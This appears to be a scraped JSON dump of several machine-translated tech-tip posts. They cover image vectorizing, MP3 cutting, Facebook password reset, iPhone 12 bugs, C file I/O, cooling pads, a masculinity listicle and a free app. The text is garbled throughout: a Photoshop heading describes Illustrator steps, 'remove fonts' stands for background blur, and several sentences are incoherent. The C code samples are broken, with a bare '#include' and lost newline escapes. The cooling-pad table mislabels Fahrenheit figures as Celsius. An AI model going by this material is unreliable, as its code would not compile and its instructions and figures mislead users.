image again. You should be able to convert it to another file type and use it as a vector image.[2]\n Method 3of 3:\nUsing Adobe Photoshop to Vectorize a Sketch  Find an image that you want to vectorize. Usually, this is an image that you want to enlarge, but it is too pixelated or low-resolution to use in its current form. You can also scan an image or drawing onto the computer using a scanner. If you are scanning an image into your computer, increase the contrast, so that it will be easier to trace.   Download that image to your computer desktop or into an image folder.\n  Open a new Adobe Illustrator file. Select 'File' and 'Place' to bring your photo or image into the program. Make sure your image covers a majority of your screen, so that you can work on it in detail.\n  Add a new layer on top of your image using the Layers palette. Lock the first image layer by clicking the little square lock. The image will stay in one place while you work on it.\n  Return to your top layer. Click on your Pen tool. You are going to trace your image, so that it will create a sharp, vector image.\n  Choose a starting point to begin drawing or outlining your image. Choose the weight of the line that fits the line you are going to draw. Lines that are in the foreground should be thicker, while lines in the background should be thinner. Always use black outlines and white backgrounds during this process. You can change the colors later.   Click the starting point with your cursor. Click the second point at the end of a straight section to create a straight line. Create curved lines by clicking a second point and dragging the line until it matches the smooth curve of the image. Use the handles to adjust the Bezier curve. They can be adjusted indefinitely.   Press 'Shift' to remove the Bezier Handle when you are ready to continue your outlining or drawing.\n  Continue in the same clicking and adjusting until your outline is complete. Remember that you want to create as few points as possible, while remaining as true to the shape as possible. This is a skill that will improve with practice.[3]\n  Make each separate section into a different element. You can group these elements together later on. Fill in the colors when you are finished. You can add colors on the same layer or different layers.\n  Return to the first layer, unlock it and delete it when you are finished making changes. Save your file as a vector image, such as AI or EPS. Use this new vector image for scaling.\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6VmMGwvsiznGaZnmK2rq3Gng%3D%3D\n","link":"/post/how-to-vectorize-an-image/","section":"post","tags":null,"title":"How to Vectorize an Image"},{"body":"Sometimes you want to cut a piece of music in a song to make a ringtone, or want to combine your favorite music into a playlist. Or you want to cut and merge any mp3 file that you want. The following article I will guide you how to cut, merge mp3 files with Power MP3 Cutter Joiner and use the online website to cut mp3 files.\n1. Use the Power MP3 Cutter Joiner software to cut and merge mp3 files Download software .\nAfter installation is complete you start the program to start cutting music.\nProgram interface:\n  The upper toolbar includes:\n- Add mp3 file to cut and press the button:  - Remove mp3 file from cut list:  - Clear all listings:  - Move the mp3 file up and down in the collage list, the above file is processed first:  - Cut, merge and stop files:  The list of collages is displayed at:\n  Listen to music, stop playing music and return to your original state mp3 manipulate at 3 buttons below of the program.\n  When listening to the music, will be displayed on the right, so you can track the time you want to cut music.\n  Select the tail of the music after cutting:\n  Select the folder to save the file after you finish press the Browse button :\n  After you understand how to use the icons in the program, you will start editing mp3 collage.\n Cut mp3 file. Step 1: Select File -\u0026gt; Add File (select the icon ) add the mp3 file to cut. (Please note that the file name does not have a sign, if it shows, the program will give an error). The added file will be displayed in the collage list.\nStep 2: Set the program.\nYou want to cut from seconds to seconds you can edit the cutting start and end times (End time must be greater than the start time).\n  Select the path to the file format after completion:\n  Step 3: After the setup is complete, click Action -\u0026gt; Cut (or click the Cut icon button ) to start the program, depending on whether the time is long or short, the program runs fast or slow.\nSo you have the mp3 file cut as desired.\n Merge mp3 files. Step 1: Select a file to merge.\nTo merge files, you need to have at least 2 mp3 files. You add 2 similar mp3 files above.\nStep 2: Edit the time of the files to merge.\n- If you just want to merge 2 consecutive files, there is no need to edit the time.\n- If you want to merge a paragraph in file 1 with a paragraph in file 2, you can select the file in turn the music file and adjust the start time, the end time.\n  Select the output file format and the folder to save the output file.\nStep 3: Select Action -\u0026gt; Join (or Join icon ) to start joining files. After the program has finished, go to the file you just saved and view the results.\n*** In addition to using software to cut and merge mp3 files, you can refer to how to cut mp3 files using the online tool below fast and the results will make you satisfied.\n2. Cut mp3 file with online tool. Step 1: Visit the website http://mp3cut.net/.\nStep 2: Open the mp3 file to cut.\nIn the Open section , select Open File to find the file on the computer you need to cut. Or you can choose the mp3 file available on Google Drive , Dropbox or the URL of the mp3 file.\n  Step 3: Cut a paragraph in the selected mp3 file.\n- Play music, move the green button on the left and right to select the music to cut according to your wishes:\n  - Increase the volume at the beginning of the cut, reduce the volume at the end of the cut:\n  - Choose the format for the MP3, iPhone ringtone, or more clip (other options):\n  - After customizing, select Cut to cut this piece of music:\n  Wait for the program to cut the file if the file is large, when cut is finished the program will move to the Save .\n  Step 4: Save the cut file.\nAt Save , you can click Download to download the cut music to your computer.\n  Hopefully, with these two simple ways, you can cut and merge mp3 files quickly and effectively.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabpanBqrrGZqSpa12btq2x0g%3D%3D\n","link":"/post/instructions-for-cutting-mp3-files/","section":"post","tags":null,"title":"Instructions for cutting MP3 files"},{"body":"For some reason, you accidentally forgot your Facebook password so you cannot access your Facebook account. You do not know how to retrieve a Facebook password.\nTo help you recover your Facebook password when you forget it, the article below will guide you through the steps to recover your Facebook password.\nStep 1: First you go to the facebook homepage https://www.facebook.com/, then select Forgot password? to start the process to retrieve facebook password.\n  Step 2: Here you enter the account name (username, email address or phone number) login of facebook account. You need to enter it correctly for facebook to find that account. Then press Search to start searching your account facebook.\n  Step 3: Next you identify your account, if it is the correct account you need to recover your password, then select This is my account .\n  Step 4: Now you have two options to reset your forgotten password, you choose one of the two options to reset your Facebook account password. Below will guide you two ways to retrieve your Facebook password.\nUse registration email Select Please send the password reset link to my email and click Continue .\n  Next, you access the email address you registered to receive a security code sent from facebook's mail.\n  Then enter the code into the security code box on facebook and click Continue .\n  Here you enter the New Password and Confirm Password , you can also select the option below if you want. Finally click Continue to confirm.\n  So you have regained your facebook password by email address, if you register facebook with your phone number, you can retrieve your facebook password by the following.\nUse the registered phone number Select Send me a message containing the password reset code for me and click Continue .\n  Next you enter the security code that Facebook sent to your registered phone number in the box Enter the security code .\n  Here you enter the New Password and Confirm Password , you can also select the option below if you want. Finally click Continue to confirm.\n  So you have regained your facebook password with your registered phone number.\nThus, with either of the above, you can easily retrieve your Facebook password when accidentally forgotten. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKudk6TDpr6Msqauql2brqSxwaimpGWglsC0w86rm2avmJq7brXTZqCsZZakv6i7062cpw%3D%3D\n","link":"/post/instructions-to-recover-your-facebook-password-when-it-is-forgotten/","section":"post","tags":null,"title":"Instructions to recover your Facebook password when it is forgotten"},{"body":"Specifically, the blue screen error, not receiving the general charger, not being able to use the messaging feature . That made users confused.\n  Lost group messages Users complained a lot about the iMessenger app. Specifically, they say they don't receive notifications in group or private chats.\nSome people pointed out that the message appeared with great latency, even the owner of the phone noticed that the group message (SMS) was often randomly missing some content, especially from Android phone, even if the SMS on that device was sent.\nReddit, MacRumors and forums are flooded with similar complaints. Apple seems to be \"sweating\" to solve this problem - some users reported the error two weeks ago.\n    For the time being, the solution is to use a different messaging app, or to reinstall the telecom network functionality. Although Apple has confirmed that the problem is occurring at the same time with three carriers, users still blame the software inside iOS 14 or the communication modules of the iPhone 12 series. This can be easily resolved by a factory reset of the device.\n\"Trouble breathing\" by the problem of the OLED screen More and more images have appeared on social media, recording the iPhone 12 OLED screen showing blue light streaks on a dark background. This usually occurs when DC Dimming is enabled. Of course, this is not new, many smartphones of other brands also have a similar situation.\nOn early Apple devices using OLED screens, such as the iPhone XS or iPhone 11, the same problem does not occur. Although the appearance of the green highlights can be corrected with software update patches, the number of cases is so numerous that it indicates that Apple has poor quality control. much more than before. According to information from Korea, the representative of Apple announced to now find out the cause and promise to fix this error as soon as possible.\n      IPhone 12 mini lock screen doesn't work Early buyers of the iPhone 12 mini have discussed on Apple, MacRumors, and Reddit forums about the lock screen on their machine not working. Users have difficulty performing touch to turn on the camera, flashlight or swipe up to unlock.\nThe reason for this is unknown. Some users claim that this is an iOS operating system bug. Others also experience the same situation when using a holster or case. Another said they bought 2 iPhone 12 mini together, but only 1 failed, the other did not. A few others claimed that they used both of these accessories on the iPhone 12 mini without error.\nSo far, users are waiting for Apple to come up with a solution.\n    So what should iPhone 12 users do when encountering unusual errors? \"For those who have used iPhone 12, no one has yet reported a strange error that occurred during use. Errors such as the blue or yellow screen, when the cause has not been determined, we still have to wait for explanation from the manufacturer.If this is a bug that can be fixed by an update, they will promptly release a new patch.Once it is a hardware failure, there will be a repair policy. suitable.\nAs in the case of not being able to charge together, there is also a solution to use the charger for the iPhone 12 only. You also have to use a multi-port charger, you should pay attention to plug and unplug other devices, then plug and unplug your iPhone.\nHowever, there are many different types of chargers on the market or chargers with multiple ports, so it is quite difficult to find a solution, the simplest thing is that users choose to buy genuine chargers that can be charged for iPhone at reputable sales locations.\nOr the error of not sending the message has also occurred, this error is most likely due to the new version of iOS 14 that has not been finalized, which requires waiting for a new update. However, this is not sure whether the operating system or the machine still needs to wait for Apple's answer. \"\n  So, those who are using the iPhone 12 line, even if they encounter such errors or any strange error happening, should not be too confused. Please calmly wait for solutions from the manufacturer, every error occurred on the iPhone will have a way to fix it.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZmliYra0edKtoKWkXaO8tXnPnqmfnZOperTAyKWjZqWRo8ZurtSgqmalkaPGbq7UoKo%3D\n","link":"/post/iphone-12-is-still-not-perfect-still-many-bugs-many-bugs/","section":"post","tags":null,"title":"iPhone 12 is still not perfect, still 'many bugs, many bugs'"},{"body":"The previous chapter explained the standard input and output devices handled by the C language. In this chapter we will see how programmers create, open and close text files or binary files with data. storage.\nA file represents a sequence of bytes, regardless of whether it is a text file or a binary file. The C programming language provides high-level and low-level access functions (operating system level) to manipulate files on storage devices. This chapter will take you to important function calls for file management.\nOpen the file in C You can use the fopen () function to create a new file or to open existing files. This call will initialize the FILE type object, which includes the information needed to control the flow. Here is a way to call the function:\nFILE * fopen ( const char * ten_file , const char * che_do );  Here, ten_file is a string, treated as the file name and the value che_do access can be the following values:\nMode Description Open existing files for the purpose of reading w Open files for recording purposes. If these files do not yet exist, the new file file is created. Here, the program starts to write content from the beginning of file a Open the text file for writing in the next write mode at the end, if it does not already exist, the new file is created. This is a program that writes content with the end of an existing file. r + Open the text file for the purpose of reading and writing. w + Open a text file for reading and writing modes. It whitens an existing file if the file is available and creates a new one if it doesn't already exist. a + Open existing file for reading and writing purposes. It creates a new file if it doesn't exist. Reading the file will start reading from the beginning but writing the file will only write at the end of the file. If you manipulate binary files, you can have access methods instead of the following:\n\"rb\" , \"wb\" , \"ab\" , \"rb+\" , \"r+b\" , \"wb+\" , \"w+b\" , \"ab+\" , \"a+b\"  Close the file in C To close a file you can use the fclose () function below:\nint fclose ( FILE * fp );  The function fclose () returns zero if success or EOF if there is an error in the file closing process. This function actually deletes the data in the buffer for the file, closes the file and frees the memory used with the file. EOF is a constant defined in the stdio.h section.\nThere are many different functions provided by the standard library of C language to read and write each character and in a form with a fixed number of characters. We will consider in the following example:\nWrite to a file in C Here is the simplest function to perform writing individual characters to a thread:\nint fputc ( int c , FILE * fp );  The function fputc () writes characters with parameter value c to an output stream referenced by the fp pointer. It returns the character written if success or EOF if there is an error. You can use the following function to write a string ending with null characters to a thread:\nint fputs ( const char * s , FILE * fp );  Function fputs () writes the string s to an output stream referenced by fp. It returns a non-negative value if successful and returns the EOF character if an error occurs. You can use the int fprintf function (FILE * fp, const char * format, .) to write a string to a file. Try the example below:\nYou must make sure you have the / tmp directory, if not, you must create this directory on your computer.\n#include main () { FILE * fp ; fp = fopen ( \"vidu.txt\" , \"w+\" ); fprintf ( fp , \"Vi du kiem tra ham fprintf .n\" ); fputs ( \"Vi du kiem tra ham fputs .n\" , fp ); fclose ( fp ); }  When the above code is compiled and executed, it creates a new file vidu.txt and writes it 2 lines of 2 different functions. Read this file in the next section.\nRead file in C Here is the simplest function to read a single character from the file:\nint fgetc ( FILE * fp );  The fgetc () function reads a character from a file referenced by the subclass fp. The return value is a readable character if successful, and in the case of an EOF return error. The following function allows you to read strings from a thread:\nchar * fgets ( char * buf , int n , FILE * fp );  The function fgets () reads n-1 characters from a thread into reference by fp. It copies the read string to the buf buffer, assigns the null character to the end of the string.\nIf the function encounters a newline character (new line) (nline) 'n' or EOF characters before reading the maximum number of characters, it will return only the characters until the carriage return and New line character. You can use the int fscanf function (FILE * fp, const char * format, .) to read strings from a file, but stopping reading in the first space encountered:\n#include main () { FILE * fp ; char buff [ 255 ]; fp = fopen ( \"vidu.txt\" , \"r\" ); fscanf ( fp , \"%s\" , buff ); printf ( \"1 : %sn\" , buff ); fgets ( buff , 255 , ( FILE *) fp ); printf ( \"2: %sn\" , buff ); fgets ( buff , 255 , ( FILE *) fp ); printf ( \"3: %sn\" , buff ); fclose ( fp ); }  Compile and run the above C program, it first reads from the file created from the previous area and prints the following result:\n  Let's see a little more detail about what happened here. First fscanf () only reads This because then it has a space, followed by the function fgets () that returns the remaining lines until the end of the file. Finally, it calls the function fgets () to read the second line completely.\nImport - Export binary function Here are two functions, which can be used for binary input and output:\nsize_t fread ( void * ptr , size_t kich_co_cua_cac_phan_tu , size_t so_phan_tu , FILE * ten_file ); size_t fwrite ( const void * ptr , size_t kich_co_cua_cac_phan_tu , size_t so_phan_tu , FILE * ten_file );  Both of these functions are used to read and write memory blocks, usually arrays or structures.\nAccording to Tutorialspoint\nPrevious lesson: Input \u0026amp; Output in C\nNext article: The preprocessor in C\nncG1vNJzZmismaXArq3KnmWcp51kv6atw2auq6GkmnqntcueZKKmXZg%3D\n","link":"/post/read-write-file-in-c/","section":"post","tags":null,"title":"Read - Write File in C"},{"body":"Google introduced at the Google IO conference 2018 a new version of the YouTube app with many new features, improving the ability of parents to monitor their time with their children.\nOne of the outstanding new features added by Google in YouTube's new borders is Family Link, which allows parents to manage the time to open YouTube apps on their child's devices including: limits be timed to see, time to see. This feature will be very helpful for parents in raising children.\n  The new version YouTube application will incorporate notifications into daily announcements.\n  Finally, Google has added a new, very useful feature to help users protect their eyesight and health. If the user has watched the video for a long time, YouTube will automatically prompt the user to take a break.\n  As expected, Google will provide users with new features of the YouTube application right this week.\nSee more:\nGoogle released Android Things 1.0 for IoT devices Listen to music on YouTube? You should not ignore these 5 websites and extensions 6 tactics to make money on Youtube you should not miss ncG1vNJzZmismaXArq3KnmWcp51kwamxjKecsGWmmr%2B0tc6nZKieXa68tsDUm5xmmZyhvLi%2FjJpkraGdmnqttcyiq2asn2LEosDCoWSrnZ2eu6W1zaBkrquVp8Buw8eepWavkamwqbXNoGSvoZSavLR5xaipZqyfpHqtu82g\n","link":"/post/the-new-version-of-youtube-allows-a-time-limit-to-watch-reminding-users-when-watching-videos-for-too-long/","section":"post","tags":null,"title":"The new version of YouTube allows a time limit to watch, reminding users when watching videos for too long"},{"body":"As we all know, today's cooling systems on laptops often work quite well, but still don't \"lose\" when you perform too many heavy tasks in the long run.The fact that the laptop is overheated in addition to making the machine's processing capability worse, also leads to rapid wear and tear on the life of the electronic components embedded in the machine.So using heat sinks is an economical method but equally effective in limiting the overheating of a laptop.But on the market today there are countless types of heat sinks from many different manufacturers and spread across all price segments, so how can we choose for ourselves the right equipment unify?This article will give you a list of some of the best selling laptop heat sinks in the market, as well as their features and performance in practice so that you can choose from. give me the most suitable equipment.\nBelow is a list of the best heat sink models for laptops, as well as the best selling heat sinks (low to high ratings) for your reference.\n8 heat sinks worth considering 8. New Tree Bee Cooling Pad TNB-K0025 7. Aicheson Laptop Cooling Pad Chill Mat S-18 6. Slim Aluratek USB Laptop Cooling Pad ACP01FB 5. Thermaltake Massive TM Notebook Cooler 4. TopMate K5 Gaming Laptop Cooler 3. Targus Lap Chill Mat AWE55US 2. CM Storm SF-17 Gaming Laptop Cooling Stand 1. Kootek Cooler Pad Chill Mat 5 Compare the test results of the heat sinks Specifications of heat sinks 8. New Tree Bee Cooling Pad TNB-K0025   \nYou may not have heard of Tree New Bee, but the company's cooling and cooling devices are of good quality.For example, this TNB-K0025 model can help reduce the average outside temperature by 11 degrees F and lower the internal temperature to 18 degrees Fahrenheit, making it one of the best cooling devices under the conditions of use. practical use.\nHowever, one point deducted from this device is that it makes a rather annoying clicking sound, most likely this phenomenon occurs because the frame design is not good enough to make the fan make a noise when spinning.In addition, the feature set on the device is also quite simple, with an extra USB port and adjustable stand with two height settings.\nTree New Bee Cooling Pad TNB-K0025 cost about VND 2 million.\n7. Aicheson Laptop Cooling Pad Chill Mat S-18   \nAicheson is not a familiar name in the field of manufacturing computer accessories, but their Chill Mat S-18 model is one of the best selling laptop heat sinks on Amazon.This is mostly because this model is priced quite soft, only about 20USD, but not so that we can underestimate the features of S-18.This heat sink can adjust fan speed, support some advanced settings and even have a convenient display screen, and glow lights for decoration.\nHowever, the screen on this device is not very good, is quite difficult to read, and smart settings such as the automatic mode to adjust the fan speed according to the temperature emitted from the machine are not really available on the device. this.Chill Mat S-18 is designed for laptops from 10 to 16 inches.In terms of connectivity, it has two USB ports, one for plugging the USB power cord and one for the second connector, so you can still connect to the flash drive.\nAicheson Laptop Cooling Pad Chill Mat S-18 is priced at nearly VND 500,000.\n6. Slim Aluratek USB Laptop Cooling Pad ACP01FB   \nThe Aluratek Slim ACP01FB USB heat sink uses a simple, traditional design.This device cannot adjust the stand height and is connected via a USB port integrated into the power plug.The design of the ACP01FB consists mainly of black metal mesh, the bottom is a 127mm fan with green light emitting lamp.Because of its compact design, portability will be one of the factors emphasized on this product, but the most important thing is that its overall performance and cooling is not as good as some competitors. different from the same segment.\nSlim Aluratek USB Laptop Cooling Pad ACP01FB is priced at nearly VND 600,000.\n5. Thermaltake Massive TM Notebook Cooler   \nWhile most low-cost heat sinks often come with a simple design, the Thermaltake Massive TM has the opposite design principle.The highlight of this product is that it has a very 'stone-shaped' design and possesses features that competitors in the same segment can hardly get.TM stands for temperature monitor, because this cooler has four temperature sensors that work just like the temperature measurements of a laptop bottom.\nThermaltake Massive TM has an automatic mode that uses the temperature data obtained from these sensors to adjust the speed of the fan when the laptop temperature rises too high and actually tests with infrared thermal cameras. showed that these sensors operate with fairly high accuracy.Another plus in Thermaltake Massive TM's design is that it uses an aluminum grille instead of a regular perforated metal mesh, for more efficient heat dissipation.\nThermaltake Massive TM Notebook Cooler is priced at approximately VND 800,000\n4. TopMate K5 Gaming Laptop Cooler   \nTopMate K5 gaming laptop cooling pads look very much like some of the other products on our list, with symmetrical angled designs and blue LEDs that seem to be made to decorate and make Enhance 'gaming' for the device.The five cooling fans of TopMate K5 can be used in combination in different setting modes to increase or decrease the total airflow generated, and a support bar allows you to set and adjust angle modes and different heights.With 53decibel noise generated when 5 rotors spin at maximum capacity, TopMate K5 is one of the devices that make quite a loud noise.However, don't worry too much, it's still quiet enough for you to make a conversation, communicate normally with the person nearby without having to speak too loudly.\nTopMate K5 Gaming Laptop Cooler has a selling price of about VND 300,000\n3. Targus Lap Chill Mat AWE55US   \nTargus Lap Chill Mat AWE55US is not the best cooling product we can find in the price segment, in fact, it can only reduce the internal temperature by a few degrees.But the AWE55US is powerful in its compact design, which can be used flexibly in many places.For example, many people who have a habit of putting laptops on their lap to work, with these big, thick heat sinks, are impossible, but with the AWE55US it is too simple.The AWE55US wedge-shaped stand feet have an open face for air flow to be rotated and covered with a synthetic rubber layer that feels comfortable to use in many different surfaces.Many hot issues have been noted when putting laptops on blankets or pillows for normal use, so Targus is AWE55US one of the best solutions we can use to deal with. Common overheating problems are often found.\nTargus Lap Chill Mat AWE55US is priced at around VND 800,000.\n2. CM Storm SF-17 Gaming Laptop Cooling Stand   \nThe CM Storm SF-17 is manufactured by a brand that specializes in gaming devices, Cooler Master, so the aesthetic and coolness factor is something that doesn't need to be discussed much on this product.Thankfully, most of the aesthetic elements on the CM Storm SF-17 have functional uses, not simply for beauty, such as in height adjustment, for easy movement . This cooling dock has a total of four built-in USB ports, along with a stepless rotary switch to adjust the fan speed and an adjustable red (relatively bright) LED strip can be turned on and off flexibly.CM Storm SF-17 180mm single fan provides good internal and external cooling capability for laptops up to 19 inches in size.\nThe CM Storm SF-17 is priced at about 1 million VND 300,000.\n1. Kootek Cooler Pad Chill Mat 5   \nKootek Cooler Pad Chill Mat 5 only has a single USB port, no additional ports, but its cooling capability easily surpasses most competitors in price range.The internal temperature dropped by more than 30 degrees Fahrenheit (the average result is a combination of various tests and different types of laptops), and the outside temperature decreased by about 11 degrees F. And that's why Why does this product occupy the top position in our list?In addition, Kootek Cooler Pad Chill Mat 5 has the flexibility to adjust from 0 to 25 degrees, along with a 3-year warranty enough to confirm the excellent durability of the product.\nKootek Cooler Pad Chill Mat 5 has a selling price of about 1 million 600 thousand dong.\nCompare the test results of the heat sinks Test results\nChange internal temperature (degree C)\nChange the outside temperature (degree C)\nChange Dirt 3 FPS\nChange Geekbench (%)\nNoise level\nKootek Cooler Pad Chill Mat 5\n-31.8\n-11.7\n+23.4\n+ 0.5%\n54dB\nCM Storm SF-17\n-10.2\n-6.3\n+28.7\n+ 0.7%\n50dB\nTargus Lap Chill Mat AWE55US\n-1.2\n-5\n+24.7\n+ 1.10%\n50dB\nTopMate K5 Gaming Laptop Cooler\n-18\n-10.7\n+25.3\n+ 1.50%\n53dB\nThermaltake Massive TM Notebook Cooler\n-15\n-9.7\n+20.8\n+ 0.2%\n51dB\nSlim Aluratek USB Laptop Cooling Pad ACP01FB\n-1.8\n-9.3\n+16.7\n+ 1.2%\n50dB\nAicheson Laptop Cooling Pad Chill Mat S-18\n-19.8\n-5.3\n+ 9.8\n+ 0.8%\n48dB\nTree New Bee Cooling Pad TNB-K0025\n-18\n-11\n+25.3\n+ 1.1%\n52dB\nSpecifications of heat sinks Technical specifications\nSize \u0026amp; Weight\nUSB port number\nAdjust angle\nSpeed ​​adjustment\nGuarantee\nKootek Cooler Pad Chill Mat 5\n14.96 x 11.81 x 1.38inch, 1.18kg\n2\n6 settings, from 0 to 25 degrees\nHave\n3 years\nCM Storm SF-17\n18.5 x 12.9 x 2.2inch, 1.92kg\n4\n4 Settings, from 0 to 28.5 degrees\nHave\n2 years\nTargus Lap Chill Mat AWE55US\n15 x 11.75 x 1inch,\n1.2kg\n0\n0\nIs not\n1 year\nTopMate K5 Gaming Laptop Cooler\n13.8 x 11.8 x 1.6inch, 1.13kg\n2\n5 settings, from 1 to 22 degrees\nHave\nIs not\nThermaltake Massive TM Notebook Cooler\n15.35 x 10.9 x 1.94 inches, 0.83kg\n2\n3 settings, from 3 to 14 degrees\nHave\n3 years\nSlim Aluratek USB Laptop Cooling Pad ACP01FB\n14.25 x 11 x 2 inches, 0.64kg\nfirst\nIs not\nIs not\n1 year\nAicheson Laptop Cooling Pad Chill Mat S-18\n15.35 x 11 x 1.1 inch, 0.82kg\n2\n5 settings, from 0 to 23 degrees\nHave\n1 year\nTree New Bee Cooling Pad TNB-K0025\n16.06 x 10.94 x 1.14inch, 1kg\n2\n2 settings, from 3 to 13 degrees\nHave\n1 year\nWishing you all the right products!\nSee more:\nTop 10 best Wi-Fi cards Top 10 best mini laptops 2018 Top 6 best gaming mice for PC gamers Top 10 best gaming screens under 5 million ncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkm52jqXqpscCtZKyhnqDAbrLOq2SlmaCpvLG%2F\n","link":"/post/top-8-best-heat-sinks-for-laptops/","section":"post","tags":null,"title":"Top 8 best heat sinks for laptops"},{"body":"It seems that our current society is gradually forgetting some important values, in general, people are becoming more and more mature. Sadly, in the minds of many people today there is still thinking about the differences between men and men and women. People often say \" 30 years old but just like 20 \" or \" adult man acts like a spoiled child \". The truth is that when you turn 25, you have enough life experience to be able to behave like an adult.\n  In fact, few young people and too few \" older \" people can do well, because they really don't know what an adult man will be like. A true adult man means someone who is strong, confident, diligent, enthusiastic, caring about others, bravely defending their loved ones, resolving all problems, listening, one shore Solid shoulders that others can rely on.\nThe man is confident to know what is right or right in life, understands others who are dependent and has their own priorities. An adult man will never act like an inexperienced, immature or weak person . Here are 13 things that adult men don't usually do.\n1. They do not let fear prevent their success and happiness   Fear - whether fear of failure, fear of rejection or fear of contempt - is one of the things that many men have to give up. Living in fear means that you always live and ignore big opportunities that negatively affect your career, life, love, relationships or simply to improve yourself. For mature men, they learn that fear is a gift for them and they must find a way to solve it and overcome it.\nThey are not hesitant to put themselves in some dangerous situations, especially when the only outcome of that action will hurt or upset themselves. A mature man lives every single moment of his life and is ready to overcome his limits.\n2. They don't do everything just to please others   You can see young men who often work hard to impress women, some of the other men drink to appear to friends or some smart people to make the boss as well as their colleagues must respect. However, adult men will not be affected by other people's thoughts - their actions stem from their thoughts, they aspire to learn, improve and develop themselves in a direction they have out.\nThey train to be healthy and strong, they read books and take courses to broaden their knowledge, develop skills in areas they consider useful and interesting. In other words, they know who they are, what they want, although they respect other people's opinions, they only consult that opinion, and every decision is their choice.\n3. They do not create themselves an ideal woman model   Many relationships break down when immature men bring their ideal type of women to compare with the person they are in love with, that last time is really just an illusion. Many boys are willing to give up marriage just because they think that girl is not her ideal wife. Women are like men - they also have strengths - weaknesses, admirable points - mistakes that can be ignored, desire to love and change. A mature man knows that and knows how to maintain his own relationship.\n4. They are not affected by women's words or actions   Although adult men treat women fairly, they understand that women and men still have differences from physiological and socio-political perspectives. Each person is born nourished and the brain changes. Adult men also understand that women talk, argue and express emotions differently than men.\nThis is the reason why truly mature men are never affected by women's words or actions, they are able to observe and recognize things from different perspectives. They look at things subtly - in-depth understanding of development in psychological thinking and physical signs.\n5. They are not angry for long   The Buddha had the sentence: \" Keeping anger in your heart like you are drinking poison and hoping someone will die\". In everyday life, arguing with friends, family members, lovers and colleagues is inevitable. However, a clear sign of a mature man is when controversy passes, all negative emotions are gone. A grown man will often say things like: \"I'm sorry\"; \"Please forgive me, I was wrong\"; \"Let's forget it, nothing\" and \"Water flows through the bridge \" they will accept apologies from others easily. If you go on being angry, your life will ruin all relationships and it's hard to be happy.\n6. They do not feel inferior to their looks and style   Another big problem that most boys care about is their looks, costumes and actions. Feeling inferiority will lead to fear, anxiety and even anger, which will adversely affect your life.Self-deprecating men are often afraid of experimenting with new fashion styles because they don't want to be considered feminine or sometimes feel uncomfortable with their own shoes.\nThe world is always changing, so is fashion. Recently, hundreds of fashion items can be worn by both men and women regardless of your style. A mature man is willing to wear what he likes and doesn't care about the negative opinions around.\n7. They do not want to leave the family   As time goes by, we become more and more mature, the tightening of family ties is becoming more and more difficult. There are many reasons why we have to, but it is not so difficult to spend a bit of time with parents, families, wives and children. A happy family will help a man become much more confident and mature.\n8. They don't let others bully   There is a huge difference between assertiveness and stubbornness, which is something that immature men cannot understand. A mature man who always takes pride, knows how to control himself and confidently sets a limit so no one can bully himself. If someone deliberately crosses this limit, watch it.\nThey never force themselves to do what others do and are not easy to bear in front of others. It is not necessary to use force to solve things, they just need to negotiate strongly and surely can solve everything.\n9. They do not disappoint or complain when they are positive with the challenge   Frustration or lamentation is an unnecessary thing for mature men. When faced with challenges, they always face, even help others calm down and push their spirits up high and work hard to find a solution. They often sacrifice themselves to face challenges and think that hard work is a must, these are things that adult men often never overlook. It is a simple rule that they always follow - or find out by being able to solve it - either silently until solving everything. This is why people around them always feel safe and optimistic.\n10. They don't see work as something to endure   While many people think that work is something that is boring and restrictive, just want to do it quickly to be able to go home and do what they want, but the adults grow up so they always try complete the work at the best level and look for opportunities to develop yourself. Adult men realize that others are dependent on them, so work is what they prioritize. They always try their best to make more money for the person they love to have a full, happy life. That is the only motivation for them to work.\n11. They are not afraid to act or make difficult decisions   In everyone's life, surely everyone will encounter difficult decisions and to solve only how to think quickly and act decisively at the right time. A mature man is always prepared to book in advance if he makes an appointment with his boss about promotion opportunities, advises friends to be right, though this may make them angry, ready to put themselves in dangerous situations. risk to protect the people they love or sacrifice their comfort to ensure happiness. This does not mean that adult men know exactly what to do or are able to handle every possible situation but simply that they will try to do everything they can to achieve the most satisfying results.\n12. They do not set unrealistic goals   Some people often give up or feel frustrated because they have set goals for themselves in the first place. The important thing about growth is to be honest with yourself, know who you are to determine the right goal. They can persevere in a long way and know that they will surely achieve the desired results, because they understand that if they do not achieve quick results, they themselves will learn more.\n13. They don't let ego overwhelm everything   Finally, a really mature man they know how to ignore me and think carefully before doing everything. They understand their actions can leave unwanted results and plan to predict what might happen in the future, like an experienced chess player.\nFor example, when shopping, they will spend a reasonable amount of money so they don't have to regret at the end of the month or know how to ignore all encouragement for a better future.\nYou have all these characteristics - something many men don't do before they really become a mature man. No one is perfect but the above things will help you improve yourself a lot more!\nncG1vNJzZmismaXArq3KnmWcp51kfnR506Ggp5%2BjYq5us9GorqdlnZa7brDOnqqnrF2qwLaty6WwZpyf\n","link":"/post/13-things-a-grown-man-doesn-t-usually-do/","section":"post","tags":null,"title":"13 things a grown man doesn't usually do"},{"body":"Phocus is a photo editing software that allows users to edit post-production photos in a very unique way. If you use Android without a dual camera and still want to use Portrait Lighting as the iPhone 8 Plus and iPhone X, then Phocus photo editing software is the perfect choice for you.\nProminent features of Phocus:\nThe blur background feature helps users to create effects to remove fonts, edit lighting, mono light, contrast so that users have a unique portrait picture. Imaging mode directly removes fonts. Provide a full range of professional portrait editing features. .        Currently, Phocus photo editing application is free on Google Play in a short time. If you need to use it, please quickly access the link below to download this interesting application for free.\nPhocus: Portrait Mode \u0026amp; Portrait Lighting Editor\nSee more:\nDownload the $ 350 free software package from WonderFox 9 free interface packages from Microsoft, please download 4 free online tools to add text to videos The best free photo editing software on your computer ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdpbWwr9SsZKKlkZyybrHDoquippdiwLCy07CYq51dqbxuvsSmpq%2BdXZu8r8DSZpitZWdmfXF8jK%2BlnWWWp7Kmec6fZJygkae0pg%3D%3D\n","link":"/post/download-phocus-image-editing-software-to-remove-fonts-at-71-000-vnd-free-of-charge/","section":"post","tags":null,"title":"Download Phocus image editing software to remove fonts at 71,000 VND, free of charge"},{"body":"When creating a Gmail account, you want to try Google Google+. But for some reason you do not want to use Google+ and want to delete, 